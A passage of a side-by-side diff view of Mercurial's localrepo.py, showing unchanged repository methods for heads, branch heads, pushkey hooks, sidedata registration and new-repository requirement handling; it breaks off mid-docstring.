3264 | def postdsstatus(self): |
|
3264 | def postdsstatus(self): | |
3265 | """Used by workingctx to get the list of post-dirstate-status hooks.""" |
|
3265 | """Used by workingctx to get the list of post-dirstate-status hooks.""" | |
3266 | return self._postdsstatus |
|
3266 | return self._postdsstatus | |
3267 |
|
3267 | |||
3268 | def clearpostdsstatus(self): |
|
3268 | def clearpostdsstatus(self): | |
3269 | """Used by workingctx to clear post-dirstate-status hooks.""" |
|
3269 | """Used by workingctx to clear post-dirstate-status hooks.""" | |
3270 | del self._postdsstatus[:] |
|
3270 | del self._postdsstatus[:] | |
3271 |
|
3271 | |||
3272 | def heads(self, start=None): |
|
3272 | def heads(self, start=None): | |
3273 | if start is None: |
|
3273 | if start is None: | |
3274 | cl = self.changelog |
|
3274 | cl = self.changelog | |
3275 | headrevs = reversed(cl.headrevs()) |
|
3275 | headrevs = reversed(cl.headrevs()) | |
3276 | return [cl.node(rev) for rev in headrevs] |
|
3276 | return [cl.node(rev) for rev in headrevs] | |
3277 |
|
3277 | |||
3278 | heads = self.changelog.heads(start) |
|
3278 | heads = self.changelog.heads(start) | |
3279 | # sort the output in rev descending order |
|
3279 | # sort the output in rev descending order | |
3280 | return sorted(heads, key=self.changelog.rev, reverse=True) |
|
3280 | return sorted(heads, key=self.changelog.rev, reverse=True) | |
3281 |
|
3281 | |||
3282 | def branchheads(self, branch=None, start=None, closed=False): |
|
3282 | def branchheads(self, branch=None, start=None, closed=False): | |
3283 | """return a (possibly filtered) list of heads for the given branch |
|
3283 | """return a (possibly filtered) list of heads for the given branch | |
3284 |
|
3284 | |||
3285 | Heads are returned in topological order, from newest to oldest. |
|
3285 | Heads are returned in topological order, from newest to oldest. | |
3286 | If branch is None, use the dirstate branch. |
|
3286 | If branch is None, use the dirstate branch. | |
3287 | If start is not None, return only heads reachable from start. |
|
3287 | If start is not None, return only heads reachable from start. | |
3288 | If closed is True, return heads that are marked as closed as well. |
|
3288 | If closed is True, return heads that are marked as closed as well. | |
3289 | """ |
|
3289 | """ | |
3290 | if branch is None: |
|
3290 | if branch is None: | |
3291 | branch = self[None].branch() |
|
3291 | branch = self[None].branch() | |
3292 | branches = self.branchmap() |
|
3292 | branches = self.branchmap() | |
3293 | if not branches.hasbranch(branch): |
|
3293 | if not branches.hasbranch(branch): | |
3294 | return [] |
|
3294 | return [] | |
3295 | # the cache returns heads ordered lowest to highest |
|
3295 | # the cache returns heads ordered lowest to highest | |
3296 | bheads = list(reversed(branches.branchheads(branch, closed=closed))) |
|
3296 | bheads = list(reversed(branches.branchheads(branch, closed=closed))) | |
3297 | if start is not None: |
|
3297 | if start is not None: | |
3298 | # filter out the heads that cannot be reached from startrev |
|
3298 | # filter out the heads that cannot be reached from startrev | |
3299 | fbheads = set(self.changelog.nodesbetween([start], bheads)[2]) |
|
3299 | fbheads = set(self.changelog.nodesbetween([start], bheads)[2]) | |
3300 | bheads = [h for h in bheads if h in fbheads] |
|
3300 | bheads = [h for h in bheads if h in fbheads] | |
3301 | return bheads |
|
3301 | return bheads | |
3302 |
|
3302 | |||
3303 | def branches(self, nodes): |
|
3303 | def branches(self, nodes): | |
3304 | if not nodes: |
|
3304 | if not nodes: | |
3305 | nodes = [self.changelog.tip()] |
|
3305 | nodes = [self.changelog.tip()] | |
3306 | b = [] |
|
3306 | b = [] | |
3307 | for n in nodes: |
|
3307 | for n in nodes: | |
3308 | t = n |
|
3308 | t = n | |
3309 | while True: |
|
3309 | while True: | |
3310 | p = self.changelog.parents(n) |
|
3310 | p = self.changelog.parents(n) | |
3311 | if p[1] != self.nullid or p[0] == self.nullid: |
|
3311 | if p[1] != self.nullid or p[0] == self.nullid: | |
3312 | b.append((t, n, p[0], p[1])) |
|
3312 | b.append((t, n, p[0], p[1])) | |
3313 | break |
|
3313 | break | |
3314 | n = p[0] |
|
3314 | n = p[0] | |
3315 | return b |
|
3315 | return b | |
3316 |
|
3316 | |||
3317 | def between(self, pairs): |
|
3317 | def between(self, pairs): | |
3318 | r = [] |
|
3318 | r = [] | |
3319 |
|
3319 | |||
3320 | for top, bottom in pairs: |
|
3320 | for top, bottom in pairs: | |
3321 | n, l, i = top, [], 0 |
|
3321 | n, l, i = top, [], 0 | |
3322 | f = 1 |
|
3322 | f = 1 | |
3323 |
|
3323 | |||
3324 | while n != bottom and n != self.nullid: |
|
3324 | while n != bottom and n != self.nullid: | |
3325 | p = self.changelog.parents(n)[0] |
|
3325 | p = self.changelog.parents(n)[0] | |
3326 | if i == f: |
|
3326 | if i == f: | |
3327 | l.append(n) |
|
3327 | l.append(n) | |
3328 | f = f * 2 |
|
3328 | f = f * 2 | |
3329 | n = p |
|
3329 | n = p | |
3330 | i += 1 |
|
3330 | i += 1 | |
3331 |
|
3331 | |||
3332 | r.append(l) |
|
3332 | r.append(l) | |
3333 |
|
3333 | |||
3334 | return r |
|
3334 | return r | |
3335 |
|
3335 | |||
3336 | def checkpush(self, pushop): |
|
3336 | def checkpush(self, pushop): | |
3337 | """Extensions can override this function if additional checks have |
|
3337 | """Extensions can override this function if additional checks have | |
3338 | to be performed before pushing, or call it if they override push |
|
3338 | to be performed before pushing, or call it if they override push | |
3339 | command. |
|
3339 | command. | |
3340 | """ |
|
3340 | """ | |
3341 |
|
3341 | |||
3342 | @unfilteredpropertycache |
|
3342 | @unfilteredpropertycache | |
3343 | def prepushoutgoinghooks(self): |
|
3343 | def prepushoutgoinghooks(self): | |
3344 | """Return util.hooks consists of a pushop with repo, remote, outgoing |
|
3344 | """Return util.hooks consists of a pushop with repo, remote, outgoing | |
3345 | methods, which are called before pushing changesets. |
|
3345 | methods, which are called before pushing changesets. | |
3346 | """ |
|
3346 | """ | |
3347 | return util.hooks() |
|
3347 | return util.hooks() | |
3348 |
|
3348 | |||
3349 | def pushkey(self, namespace, key, old, new): |
|
3349 | def pushkey(self, namespace, key, old, new): | |
3350 | try: |
|
3350 | try: | |
3351 | tr = self.currenttransaction() |
|
3351 | tr = self.currenttransaction() | |
3352 | hookargs = {} |
|
3352 | hookargs = {} | |
3353 | if tr is not None: |
|
3353 | if tr is not None: | |
3354 | hookargs.update(tr.hookargs) |
|
3354 | hookargs.update(tr.hookargs) | |
3355 | hookargs = pycompat.strkwargs(hookargs) |
|
3355 | hookargs = pycompat.strkwargs(hookargs) | |
3356 | hookargs['namespace'] = namespace |
|
3356 | hookargs['namespace'] = namespace | |
3357 | hookargs['key'] = key |
|
3357 | hookargs['key'] = key | |
3358 | hookargs['old'] = old |
|
3358 | hookargs['old'] = old | |
3359 | hookargs['new'] = new |
|
3359 | hookargs['new'] = new | |
3360 | self.hook(b'prepushkey', throw=True, **hookargs) |
|
3360 | self.hook(b'prepushkey', throw=True, **hookargs) | |
3361 | except error.HookAbort as exc: |
|
3361 | except error.HookAbort as exc: | |
3362 | self.ui.write_err(_(b"pushkey-abort: %s\n") % exc) |
|
3362 | self.ui.write_err(_(b"pushkey-abort: %s\n") % exc) | |
3363 | if exc.hint: |
|
3363 | if exc.hint: | |
3364 | self.ui.write_err(_(b"(%s)\n") % exc.hint) |
|
3364 | self.ui.write_err(_(b"(%s)\n") % exc.hint) | |
3365 | return False |
|
3365 | return False | |
3366 | self.ui.debug(b'pushing key for "%s:%s"\n' % (namespace, key)) |
|
3366 | self.ui.debug(b'pushing key for "%s:%s"\n' % (namespace, key)) | |
3367 | ret = pushkey.push(self, namespace, key, old, new) |
|
3367 | ret = pushkey.push(self, namespace, key, old, new) | |
3368 |
|
3368 | |||
3369 | def runhook(unused_success): |
|
3369 | def runhook(unused_success): | |
3370 | self.hook( |
|
3370 | self.hook( | |
3371 | b'pushkey', |
|
3371 | b'pushkey', | |
3372 | namespace=namespace, |
|
3372 | namespace=namespace, | |
3373 | key=key, |
|
3373 | key=key, | |
3374 | old=old, |
|
3374 | old=old, | |
3375 | new=new, |
|
3375 | new=new, | |
3376 | ret=ret, |
|
3376 | ret=ret, | |
3377 | ) |
|
3377 | ) | |
3378 |
|
3378 | |||
3379 | self._afterlock(runhook) |
|
3379 | self._afterlock(runhook) | |
3380 | return ret |
|
3380 | return ret | |
3381 |
|
3381 | |||
3382 | def listkeys(self, namespace): |
|
3382 | def listkeys(self, namespace): | |
3383 | self.hook(b'prelistkeys', throw=True, namespace=namespace) |
|
3383 | self.hook(b'prelistkeys', throw=True, namespace=namespace) | |
3384 | self.ui.debug(b'listing keys for "%s"\n' % namespace) |
|
3384 | self.ui.debug(b'listing keys for "%s"\n' % namespace) | |
3385 | values = pushkey.list(self, namespace) |
|
3385 | values = pushkey.list(self, namespace) | |
3386 | self.hook(b'listkeys', namespace=namespace, values=values) |
|
3386 | self.hook(b'listkeys', namespace=namespace, values=values) | |
3387 | return values |
|
3387 | return values | |
3388 |
|
3388 | |||
3389 | def debugwireargs(self, one, two, three=None, four=None, five=None): |
|
3389 | def debugwireargs(self, one, two, three=None, four=None, five=None): | |
3390 | '''used to test argument passing over the wire''' |
|
3390 | '''used to test argument passing over the wire''' | |
3391 | return b"%s %s %s %s %s" % ( |
|
3391 | return b"%s %s %s %s %s" % ( | |
3392 | one, |
|
3392 | one, | |
3393 | two, |
|
3393 | two, | |
3394 | pycompat.bytestr(three), |
|
3394 | pycompat.bytestr(three), | |
3395 | pycompat.bytestr(four), |
|
3395 | pycompat.bytestr(four), | |
3396 | pycompat.bytestr(five), |
|
3396 | pycompat.bytestr(five), | |
3397 | ) |
|
3397 | ) | |
3398 |
|
3398 | |||
3399 | def savecommitmessage(self, text): |
|
3399 | def savecommitmessage(self, text): | |
3400 | fp = self.vfs(b'last-message.txt', b'wb') |
|
3400 | fp = self.vfs(b'last-message.txt', b'wb') | |
3401 | try: |
|
3401 | try: | |
3402 | fp.write(text) |
|
3402 | fp.write(text) | |
3403 | finally: |
|
3403 | finally: | |
3404 | fp.close() |
|
3404 | fp.close() | |
3405 | return self.pathto(fp.name[len(self.root) + 1 :]) |
|
3405 | return self.pathto(fp.name[len(self.root) + 1 :]) | |
3406 |
|
3406 | |||
3407 | def register_wanted_sidedata(self, category): |
|
3407 | def register_wanted_sidedata(self, category): | |
3408 | if repository.REPO_FEATURE_SIDE_DATA not in self.features: |
|
3408 | if repository.REPO_FEATURE_SIDE_DATA not in self.features: | |
3409 | # Only revlogv2 repos can want sidedata. |
|
3409 | # Only revlogv2 repos can want sidedata. | |
3410 | return |
|
3410 | return | |
3411 | self._wanted_sidedata.add(pycompat.bytestr(category)) |
|
3411 | self._wanted_sidedata.add(pycompat.bytestr(category)) | |
3412 |
|
3412 | |||
3413 | def register_sidedata_computer( |
|
3413 | def register_sidedata_computer( | |
3414 | self, kind, category, keys, computer, flags, replace=False |
|
3414 | self, kind, category, keys, computer, flags, replace=False | |
3415 | ): |
|
3415 | ): | |
3416 | if kind not in revlogconst.ALL_KINDS: |
|
3416 | if kind not in revlogconst.ALL_KINDS: | |
3417 | msg = _(b"unexpected revlog kind '%s'.") |
|
3417 | msg = _(b"unexpected revlog kind '%s'.") | |
3418 | raise error.ProgrammingError(msg % kind) |
|
3418 | raise error.ProgrammingError(msg % kind) | |
3419 | category = pycompat.bytestr(category) |
|
3419 | category = pycompat.bytestr(category) | |
3420 | already_registered = category in self._sidedata_computers.get(kind, []) |
|
3420 | already_registered = category in self._sidedata_computers.get(kind, []) | |
3421 | if already_registered and not replace: |
|
3421 | if already_registered and not replace: | |
3422 | msg = _( |
|
3422 | msg = _( | |
3423 | b"cannot register a sidedata computer twice for category '%s'." |
|
3423 | b"cannot register a sidedata computer twice for category '%s'." | |
3424 | ) |
|
3424 | ) | |
3425 | raise error.ProgrammingError(msg % category) |
|
3425 | raise error.ProgrammingError(msg % category) | |
3426 | if replace and not already_registered: |
|
3426 | if replace and not already_registered: | |
3427 | msg = _( |
|
3427 | msg = _( | |
3428 | b"cannot replace a sidedata computer that isn't registered " |
|
3428 | b"cannot replace a sidedata computer that isn't registered " | |
3429 | b"for category '%s'." |
|
3429 | b"for category '%s'." | |
3430 | ) |
|
3430 | ) | |
3431 | raise error.ProgrammingError(msg % category) |
|
3431 | raise error.ProgrammingError(msg % category) | |
3432 | self._sidedata_computers.setdefault(kind, {}) |
|
3432 | self._sidedata_computers.setdefault(kind, {}) | |
3433 | self._sidedata_computers[kind][category] = (keys, computer, flags) |
|
3433 | self._sidedata_computers[kind][category] = (keys, computer, flags) | |
3434 |
|
3434 | |||
3435 |
|
3435 | |||
3436 | # used to avoid circular references so destructors work |
|
3436 | # used to avoid circular references so destructors work | |
3437 | def aftertrans(files): |
|
3437 | def aftertrans(files): | |
3438 | renamefiles = [tuple(t) for t in files] |
|
3438 | renamefiles = [tuple(t) for t in files] | |
3439 |
|
3439 | |||
3440 | def a(): |
|
3440 | def a(): | |
3441 | for vfs, src, dest in renamefiles: |
|
3441 | for vfs, src, dest in renamefiles: | |
3442 | # if src and dest refer to a same file, vfs.rename is a no-op, |
|
3442 | # if src and dest refer to a same file, vfs.rename is a no-op, | |
3443 | # leaving both src and dest on disk. delete dest to make sure |
|
3443 | # leaving both src and dest on disk. delete dest to make sure | |
3444 | # the rename couldn't be such a no-op. |
|
3444 | # the rename couldn't be such a no-op. | |
3445 | vfs.tryunlink(dest) |
|
3445 | vfs.tryunlink(dest) | |
3446 | try: |
|
3446 | try: | |
3447 | vfs.rename(src, dest) |
|
3447 | vfs.rename(src, dest) | |
3448 | except OSError: # journal file does not yet exist |
|
3448 | except OSError: # journal file does not yet exist | |
3449 | pass |
|
3449 | pass | |
3450 |
|
3450 | |||
3451 | return a |
|
3451 | return a | |
3452 |
|
3452 | |||
3453 |
|
3453 | |||
3454 | def undoname(fn): |
|
3454 | def undoname(fn): | |
3455 | base, name = os.path.split(fn) |
|
3455 | base, name = os.path.split(fn) | |
3456 | assert name.startswith(b'journal') |
|
3456 | assert name.startswith(b'journal') | |
3457 | return os.path.join(base, name.replace(b'journal', b'undo', 1)) |
|
3457 | return os.path.join(base, name.replace(b'journal', b'undo', 1)) | |
3458 |
|
3458 | |||
3459 |
|
3459 | |||
3460 | def instance(ui, path, create, intents=None, createopts=None): |
|
3460 | def instance(ui, path, create, intents=None, createopts=None): | |
3461 | localpath = urlutil.urllocalpath(path) |
|
3461 | localpath = urlutil.urllocalpath(path) | |
3462 | if create: |
|
3462 | if create: | |
3463 | createrepository(ui, localpath, createopts=createopts) |
|
3463 | createrepository(ui, localpath, createopts=createopts) | |
3464 |
|
3464 | |||
3465 | return makelocalrepository(ui, localpath, intents=intents) |
|
3465 | return makelocalrepository(ui, localpath, intents=intents) | |
3466 |
|
3466 | |||
3467 |
|
3467 | |||
3468 | def islocal(path): |
|
3468 | def islocal(path): | |
3469 | return True |
|
3469 | return True | |
3470 |
|
3470 | |||
3471 |
|
3471 | |||
3472 | def defaultcreateopts(ui, createopts=None): |
|
3472 | def defaultcreateopts(ui, createopts=None): | |
3473 | """Populate the default creation options for a repository. |
|
3473 | """Populate the default creation options for a repository. | |
3474 |
|
3474 | |||
3475 | A dictionary of explicitly requested creation options can be passed |
|
3475 | A dictionary of explicitly requested creation options can be passed | |
3476 | in. Missing keys will be populated. |
|
3476 | in. Missing keys will be populated. | |
3477 | """ |
|
3477 | """ | |
3478 | createopts = dict(createopts or {}) |
|
3478 | createopts = dict(createopts or {}) | |
3479 |
|
3479 | |||
3480 | if b'backend' not in createopts: |
|
3480 | if b'backend' not in createopts: | |
3481 | # experimental config: storage.new-repo-backend |
|
3481 | # experimental config: storage.new-repo-backend | |
3482 | createopts[b'backend'] = ui.config(b'storage', b'new-repo-backend') |
|
3482 | createopts[b'backend'] = ui.config(b'storage', b'new-repo-backend') | |
3483 |
|
3483 | |||
3484 | return createopts |
|
3484 | return createopts | |
3485 |
|
3485 | |||
3486 |
|
3486 | |||
3487 | def newreporequirements(ui, createopts): |
|
3487 | def newreporequirements(ui, createopts): | |
3488 | """Determine the set of requirements for a new local repository. |
|
3488 | """Determine the set of requirements for a new local repository. | |
3489 |
|
3489 | |||
3490 | Extensions can wrap this function to specify custom requirements for |
|
3490 | Extensions can wrap this function to specify custom requirements for | |
3491 | new repositories. |
|
3491 | new repositories. | |
3492 | """ |
|
3492 | """ | |
3493 | # If the repo is being created from a shared repository, we copy |
|
3493 | # If the repo is being created from a shared repository, we copy | |
3494 | # its requirements. |
|
3494 | # its requirements. | |
3495 | if b'sharedrepo' in createopts: |
|
3495 | if b'sharedrepo' in createopts: | |
3496 | requirements = set(createopts[b'sharedrepo'].requirements) |
|
3496 | requirements = set(createopts[b'sharedrepo'].requirements) | |
3497 | if createopts.get(b'sharedrelative'): |
|
3497 | if createopts.get(b'sharedrelative'): | |
3498 | requirements.add(requirementsmod.RELATIVE_SHARED_REQUIREMENT) |
|
3498 | requirements.add(requirementsmod.RELATIVE_SHARED_REQUIREMENT) | |
3499 | else: |
|
3499 | else: | |
3500 | requirements.add(requirementsmod.SHARED_REQUIREMENT) |
|
3500 | requirements.add(requirementsmod.SHARED_REQUIREMENT) | |
3501 |
|
3501 | |||
3502 | return requirements |
|
3502 | return requirements | |
3503 |
|
3503 | |||
3504 | if b'backend' not in createopts: |
|
3504 | if b'backend' not in createopts: | |
3505 | raise error.ProgrammingError( |
|
3505 | raise error.ProgrammingError( | |
3506 | b'backend key not present in createopts; ' |
|
3506 | b'backend key not present in createopts; ' | |
3507 | b'was defaultcreateopts() called?' |
|
3507 | b'was defaultcreateopts() called?' | |
3508 | ) |
|
3508 | ) | |
3509 |
|
3509 | |||
3510 | if createopts[b'backend'] != b'revlogv1': |
|
3510 | if createopts[b'backend'] != b'revlogv1': | |
3511 | raise error.Abort( |
|
3511 | raise error.Abort( | |
3512 | _( |
|
3512 | _( | |
3513 | b'unable to determine repository requirements for ' |
|
3513 | b'unable to determine repository requirements for ' | |
3514 | b'storage backend: %s' |
|
3514 | b'storage backend: %s' | |
3515 | ) |
|
3515 | ) | |
3516 | % createopts[b'backend'] |
|
3516 | % createopts[b'backend'] | |
3517 | ) |
|
3517 | ) | |
3518 |
|
3518 | |||
3519 | requirements = {requirementsmod.REVLOGV1_REQUIREMENT} |
|
3519 | requirements = {requirementsmod.REVLOGV1_REQUIREMENT} | |
3520 | if ui.configbool(b'format', b'usestore'): |
|
3520 | if ui.configbool(b'format', b'usestore'): | |
3521 | requirements.add(requirementsmod.STORE_REQUIREMENT) |
|
3521 | requirements.add(requirementsmod.STORE_REQUIREMENT) | |
3522 | if ui.configbool(b'format', b'usefncache'): |
|
3522 | if ui.configbool(b'format', b'usefncache'): | |
3523 | requirements.add(requirementsmod.FNCACHE_REQUIREMENT) |
|
3523 | requirements.add(requirementsmod.FNCACHE_REQUIREMENT) | |
3524 | if ui.configbool(b'format', b'dotencode'): |
|
3524 | if ui.configbool(b'format', b'dotencode'): | |
3525 | requirements.add(requirementsmod.DOTENCODE_REQUIREMENT) |
|
3525 | requirements.add(requirementsmod.DOTENCODE_REQUIREMENT) | |
3526 |
|
3526 | |||
3527 | compengines = ui.configlist(b'format', b'revlog-compression') |
|
3527 | compengines = ui.configlist(b'format', b'revlog-compression') | |
3528 | for compengine in compengines: |
|
3528 | for compengine in compengines: | |
3529 | if compengine in util.compengines: |
|
3529 | if compengine in util.compengines: | |
3530 | engine = util.compengines[compengine] |
|
3530 | engine = util.compengines[compengine] | |
3531 | if engine.available() and engine.revlogheader(): |
|
3531 | if engine.available() and engine.revlogheader(): | |
3532 | break |
|
3532 | break | |
3533 | else: |
|
3533 | else: | |
3534 | raise error.Abort( |
|
3534 | raise error.Abort( | |
3535 | _( |
|
3535 | _( | |
3536 | b'compression engines %s defined by ' |
|
3536 | b'compression engines %s defined by ' | |
3537 | b'format.revlog-compression not available' |
|
3537 | b'format.revlog-compression not available' | |
3538 | ) |
|
3538 | ) | |
3539 | % b', '.join(b'"%s"' % e for e in compengines), |
|
3539 | % b', '.join(b'"%s"' % e for e in compengines), | |
3540 | hint=_( |
|
3540 | hint=_( | |
3541 | b'run "hg debuginstall" to list available ' |
|
3541 | b'run "hg debuginstall" to list available ' | |
3542 | b'compression engines' |
|
3542 | b'compression engines' | |
3543 | ), |
|
3543 | ), | |
3544 | ) |
|
3544 | ) | |
3545 |
|
3545 | |||
3546 | # zlib is the historical default and doesn't need an explicit requirement. |
|
3546 | # zlib is the historical default and doesn't need an explicit requirement. | |
3547 | if compengine == b'zstd': |
|
3547 | if compengine == b'zstd': | |
3548 | requirements.add(b'revlog-compression-zstd') |
|
3548 | requirements.add(b'revlog-compression-zstd') | |
3549 | elif compengine != b'zlib': |
|
3549 | elif compengine != b'zlib': | |
3550 | requirements.add(b'exp-compression-%s' % compengine) |
|
3550 | requirements.add(b'exp-compression-%s' % compengine) | |
3551 |
|
3551 | |||
3552 | if scmutil.gdinitconfig(ui): |
|
3552 | if scmutil.gdinitconfig(ui): | |
3553 | requirements.add(requirementsmod.GENERALDELTA_REQUIREMENT) |
|
3553 | requirements.add(requirementsmod.GENERALDELTA_REQUIREMENT) | |
3554 | if ui.configbool(b'format', b'sparse-revlog'): |
|
3554 | if ui.configbool(b'format', b'sparse-revlog'): | |
3555 | requirements.add(requirementsmod.SPARSEREVLOG_REQUIREMENT) |
|
3555 | requirements.add(requirementsmod.SPARSEREVLOG_REQUIREMENT) | |
3556 |
|
3556 | |||
3557 | # experimental config: format.exp-dirstate-v2 |
|
3557 | # experimental config: format.exp-dirstate-v2 | |
3558 | # Keep this logic in sync with `has_dirstate_v2()` in `tests/hghave.py` |
|
3558 | # Keep this logic in sync with `has_dirstate_v2()` in `tests/hghave.py` | |
3559 | if ui.configbool(b'format', b'exp-dirstate-v2'): |
|
3559 | if ui.configbool(b'format', b'exp-dirstate-v2'): | |
3560 | if dirstate.SUPPORTS_DIRSTATE_V2: |
|
3560 | if dirstate.SUPPORTS_DIRSTATE_V2: | |
3561 | requirements.add(requirementsmod.DIRSTATE_V2_REQUIREMENT) |
|
3561 | requirements.add(requirementsmod.DIRSTATE_V2_REQUIREMENT) | |
3562 | else: |
|
3562 | else: | |
3563 | raise error.Abort( |
|
3563 | raise error.Abort( | |
3564 | _( |
|
3564 | _( | |
3565 | b"dirstate v2 format requested by config " |
|
3565 | b"dirstate v2 format requested by config " | |
3566 | b"but not supported (requires Rust extensions)" |
|
3566 | b"but not supported (requires Rust extensions)" | |
3567 | ) |
|
3567 | ) | |
3568 | ) |
|
3568 | ) | |
3569 |
|
3569 | |||
3570 | # experimental config: format.exp-use-copies-side-data-changeset |
|
3570 | # experimental config: format.exp-use-copies-side-data-changeset | |
3571 | if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'): |
|
3571 | if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'): | |
3572 | requirements.add(requirementsmod.CHANGELOGV2_REQUIREMENT) |
|
3572 | requirements.add(requirementsmod.CHANGELOGV2_REQUIREMENT) | |
3573 | requirements.add(requirementsmod.COPIESSDC_REQUIREMENT) |
|
3573 | requirements.add(requirementsmod.COPIESSDC_REQUIREMENT) | |
3574 | if ui.configbool(b'experimental', b'treemanifest'): |
|
3574 | if ui.configbool(b'experimental', b'treemanifest'): | |
3575 | requirements.add(requirementsmod.TREEMANIFEST_REQUIREMENT) |
|
3575 | requirements.add(requirementsmod.TREEMANIFEST_REQUIREMENT) | |
3576 |
|
3576 | |||
3577 | changelogv2 = ui.config(b'format', b'exp-use-changelog-v2') |
|
3577 | changelogv2 = ui.config(b'format', b'exp-use-changelog-v2') | |
3578 | if changelogv2 == b'enable-unstable-format-and-corrupt-my-data': |
|
3578 | if changelogv2 == b'enable-unstable-format-and-corrupt-my-data': | |
3579 | requirements.add(requirementsmod.CHANGELOGV2_REQUIREMENT) |
|
3579 | requirements.add(requirementsmod.CHANGELOGV2_REQUIREMENT) | |
3580 |
|
3580 | |||
3581 | revlogv2 = ui.config(b'experimental', b'revlogv2') |
|
3581 | revlogv2 = ui.config(b'experimental', b'revlogv2') | |
3582 | if revlogv2 == b'enable-unstable-format-and-corrupt-my-data': |
|
3582 | if revlogv2 == b'enable-unstable-format-and-corrupt-my-data': | |
3583 | requirements.discard(requirementsmod.REVLOGV1_REQUIREMENT) |
|
3583 | requirements.discard(requirementsmod.REVLOGV1_REQUIREMENT) | |
3584 | requirements.add(requirementsmod.REVLOGV2_REQUIREMENT) |
|
3584 | requirements.add(requirementsmod.REVLOGV2_REQUIREMENT) | |
3585 | # experimental config: format.internal-phase |
|
3585 | # experimental config: format.internal-phase | |
3586 | if ui.configbool(b'format', b'internal-phase'): |
|
3586 | if ui.configbool(b'format', b'internal-phase'): | |
3587 | requirements.add(requirementsmod.INTERNAL_PHASE_REQUIREMENT) |
|
3587 | requirements.add(requirementsmod.INTERNAL_PHASE_REQUIREMENT) | |
3588 |
|
3588 | |||
3589 | if createopts.get(b'narrowfiles'): |
|
3589 | if createopts.get(b'narrowfiles'): | |
3590 | requirements.add(requirementsmod.NARROW_REQUIREMENT) |
|
3590 | requirements.add(requirementsmod.NARROW_REQUIREMENT) | |
3591 |
|
3591 | |||
3592 | if createopts.get(b'lfs'): |
|
3592 | if createopts.get(b'lfs'): | |
3593 | requirements.add(b'lfs') |
|
3593 | requirements.add(b'lfs') | |
3594 |
|
3594 | |||
3595 | if ui.configbool(b'format', b'bookmarks-in-store'): |
|
3595 | if ui.configbool(b'format', b'bookmarks-in-store'): | |
3596 | requirements.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT) |
|
3596 | requirements.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT) | |
3597 |
|
3597 | |||
3598 | if ui.configbool(b'format', b'use-persistent-nodemap'): |
|
3598 | if ui.configbool(b'format', b'use-persistent-nodemap'): | |
3599 | requirements.add(requirementsmod.NODEMAP_REQUIREMENT) |
|
3599 | requirements.add(requirementsmod.NODEMAP_REQUIREMENT) | |
3600 |
|
3600 | |||
3601 | # if share-safe is enabled, let's create the new repository with the new |
|
3601 | # if share-safe is enabled, let's create the new repository with the new | |
3602 | # requirement |
|
3602 | # requirement | |
3603 | if ui.configbool(b'format', b'use-share-safe'): |
|
3603 | if ui.configbool(b'format', b'use-share-safe'): | |
3604 | requirements.add(requirementsmod.SHARESAFE_REQUIREMENT) |
|
3604 | requirements.add(requirementsmod.SHARESAFE_REQUIREMENT) | |
3605 |
|
3605 | |||
3606 | return requirements |
|
3606 | return requirements | |
3607 |
|
3607 | |||
3608 |
|
3608 | |||
3609 | def checkrequirementscompat(ui, requirements): |
|
3609 | def checkrequirementscompat(ui, requirements): | |
3610 | """Checks compatibility of repository requirements enabled and disabled. |
|
3610 | """Checks compatibility of repository requirements enabled and disabled. | |
3611 |
|
3611 | |||
3612 | Returns a set of requirements which needs to be dropped because dependend |
|
3612 | Returns a set of requirements which needs to be dropped because dependend | |
3613 | requirements are not enabled. Also warns users about it""" |
|
3613 | requirements are not enabled. Also warns users about it""" | |
3614 |
|
3614 | |||
3615 | dropped = set() |
|
3615 | dropped = set() | |
3616 |
|
3616 | |||
3617 | if requirementsmod.STORE_REQUIREMENT not in requirements: |
|
3617 | if requirementsmod.STORE_REQUIREMENT not in requirements: | |
3618 | if bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT in requirements: |
|
3618 | if bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT in requirements: | |
3619 | ui.warn( |
|
3619 | ui.warn( | |
3620 | _( |
|
3620 | _( | |
3621 | b'ignoring enabled \'format.bookmarks-in-store\' config ' |
|
3621 | b'ignoring enabled \'format.bookmarks-in-store\' config ' | |
3622 | b'beacuse it is incompatible with disabled ' |
|
3622 | b'beacuse it is incompatible with disabled ' | |
3623 | b'\'format.usestore\' config\n' |
|
3623 | b'\'format.usestore\' config\n' | |
3624 | ) |
|
3624 | ) | |
3625 | ) |
|
3625 | ) | |
3626 | dropped.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT) |
|
3626 | dropped.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT) | |
3627 |
|
3627 | |||
3628 | if ( |
|
3628 | if ( | |
3629 | requirementsmod.SHARED_REQUIREMENT in requirements |
|
3629 | requirementsmod.SHARED_REQUIREMENT in requirements | |
3630 | or requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements |
|
3630 | or requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements | |
3631 | ): |
|
3631 | ): | |
3632 | raise error.Abort( |
|
3632 | raise error.Abort( | |
3633 | _( |
|
3633 | _( | |
3634 | b"cannot create shared repository as source was created" |
|
3634 | b"cannot create shared repository as source was created" | |
3635 | b" with 'format.usestore' config disabled" |
|
3635 | b" with 'format.usestore' config disabled" | |
3636 | ) |
|
3636 | ) | |
3637 | ) |
|
3637 | ) | |
3638 |
|
3638 | |||
3639 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements: |
|
3639 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements: | |
3640 | ui.warn( |
|
3640 | ui.warn( | |
3641 | _( |
|
3641 | _( | |
3642 | b"ignoring enabled 'format.use-share-safe' config because " |
|
3642 | b"ignoring enabled 'format.use-share-safe' config because " | |
3643 | b"it is incompatible with disabled 'format.usestore'" |
|
3643 | b"it is incompatible with disabled 'format.usestore'" | |
3644 | b" config\n" |
|
3644 | b" config\n" | |
3645 | ) |
|
3645 | ) | |
3646 | ) |
|
3646 | ) | |
3647 | dropped.add(requirementsmod.SHARESAFE_REQUIREMENT) |
|
3647 | dropped.add(requirementsmod.SHARESAFE_REQUIREMENT) | |
3648 |
|
3648 | |||
3649 | return dropped |
|
3649 | return dropped | |
3650 |
|
3650 | |||
3651 |
|
3651 | |||
3652 | def filterknowncreateopts(ui, createopts): |
|
3652 | def filterknowncreateopts(ui, createopts): | |
3653 | """Filters a dict of repo creation options against options that are known. |
|
3653 | """Filters a dict of repo creation options against options that are known. | |
3654 |
|
3654 | |||
